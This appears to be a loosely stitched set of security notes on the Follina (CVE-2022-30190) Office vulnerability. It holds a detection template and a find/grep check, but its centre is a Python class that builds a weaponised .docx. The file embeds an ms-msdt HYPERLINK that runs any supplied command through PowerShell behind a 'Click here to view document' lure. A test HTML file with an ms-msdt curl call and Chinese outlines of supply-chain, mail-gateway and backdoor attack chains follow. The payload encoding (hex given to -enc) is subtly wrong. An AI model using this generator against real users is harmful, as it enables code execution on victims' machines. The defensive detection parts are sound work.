      - host: "{{Hostname}}"
        port: 443

    matchers:
      - type: ssl
        part: cert

# CVE-2022-30190 检测 - 检查 Office 文档中的 ms-msdt 引用
# 创建测试文件（仅检测性）
cat > test_follina.html << 'EOF'
<html>
<body>
<object data="ms-msdt:/id PCWDiagnostic /skip force /param \"IT_LaunchExpression=curl http://127.0.0.1/test\"" type="application/x-oleobject"/>
</body>
</html>
EOF

# 检查 Office 文档中是否包含 ms-msdt 协议引用
find /tmp -name "*.docx" -exec grep -l "ms-msdt" {} \; 2>/dev/null

import struct
import zipfile
import os
import tempfile

class FollinaCVE202230190:
    def __init__(self):
        self.payload_url = ""

    def create_follina_docx(self, command, output_path="follina.docx"):
        evil_xml = f'''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"
  xmlns:o="urn:schemas-microsoft-com:office:office"
  xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
  <w:body>
    <w:p>
      <w:r>
        <w:fldChar w:fldCharType="begin"/>
      </w:r>
      <w:r>
        <w:instrText> HYPERLINK "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_LaunchExpression=powershell -enc {command.encode().hex()}\\"" </w:instrText>
      </w:r>
      <w:r>
        <w:fldChar w:fldCharType="separate"/>
      </w:r>
      <w:r>
        <w:rPr><w:rStyle w:val="Hyperlink"/></w:rPr>
        <w:t>Click here to view document</w:t>
      </w:r>
      <w:r>
        <w:fldChar w:fldCharType="end"/>
      </w:r>
    </w:p>
  </w:body>
</w:document>'''

        with zipfile.ZipFile(output_path, 'w') as docx:
            docx.writestr('[Content_Types].xml',
                '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'
                '<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">'
                '<Default Extension="xml" ContentType="application/xml"/>'
                '<Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/>'
                '</Types>')
            docx.writestr('word/document.xml', evil_xml)

        print(f"[*] 已生成 Follina 测试文档: {output_path}")
        print(f"[*] 警告: 此文件用于授权测试，打开将执行命令")
        return output_path

if __name__ == "__main__":
    import sys
    cmd = sys.argv[1] if len(sys.argv) > 1 else "whoami"
    poc = FollinaCVE202230190()
    poc.create_follina_docx(cmd)

id: follina-cve-2022-30190
info:
  name: Microsoft MSDT Follina RCE Detection - CVE-2022-30190
  author: x7peeps
  severity: high
  description: |
    检测 Microsoft Office 文档中是否包含 Follina (CVE-2022-30190) 
    ms-msdt 协议利用的 HTML 引用。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-30190
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 7.8
    cwe-id: CWE-610
  metadata:
    max-request: 1
  tags: microsoft,follina,cve2022,cve,rce,msdt,office

http:
  - raw:
      - |
        GET /msmsdt HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers:
      - type: word
        words:
          - "ms-msdt"
          - "PCWDiagnostic"
        condition: or
        part: body

入侵第三方库开发者 → 在 libtar 等依赖库中植入恶意代码
    → 通过正常更新渠道分发到全球设备
        → 设备安装更新后自动激活后门
            → 后门通过二进制补丁实现持久化

构造恶意邮件附件 → 发送至目标邮件网关
    → 网关自动接收并解析附件内容
        → 附件中的恶意结构触发解析器漏洞
            → 命令注入成功，获得 root 权限

识别管理接口 → 构造特殊 HTTP 请求
    → 绕过认证检查 → 获取管理权限
        → 利用管理功能执行命令或下载配置

入侵证书管理平台 → 窃取安全网关的 TLS 客户端证书
    → 使用窃取的证书建立与内部邮件系统的连接
        → 解密并监控企业邮件流量

侦察阶段：识别目标企业使用的邮件网关产品和版本
    → 利用漏洞获取初始访问
        → 植入定制化后门（SALTWATER、SEASPY 等）
            → 建立隐蔽的 C2 通信通道
                → 长期监控邮件流量
                    → 向高价值目标发送定向钓鱼邮件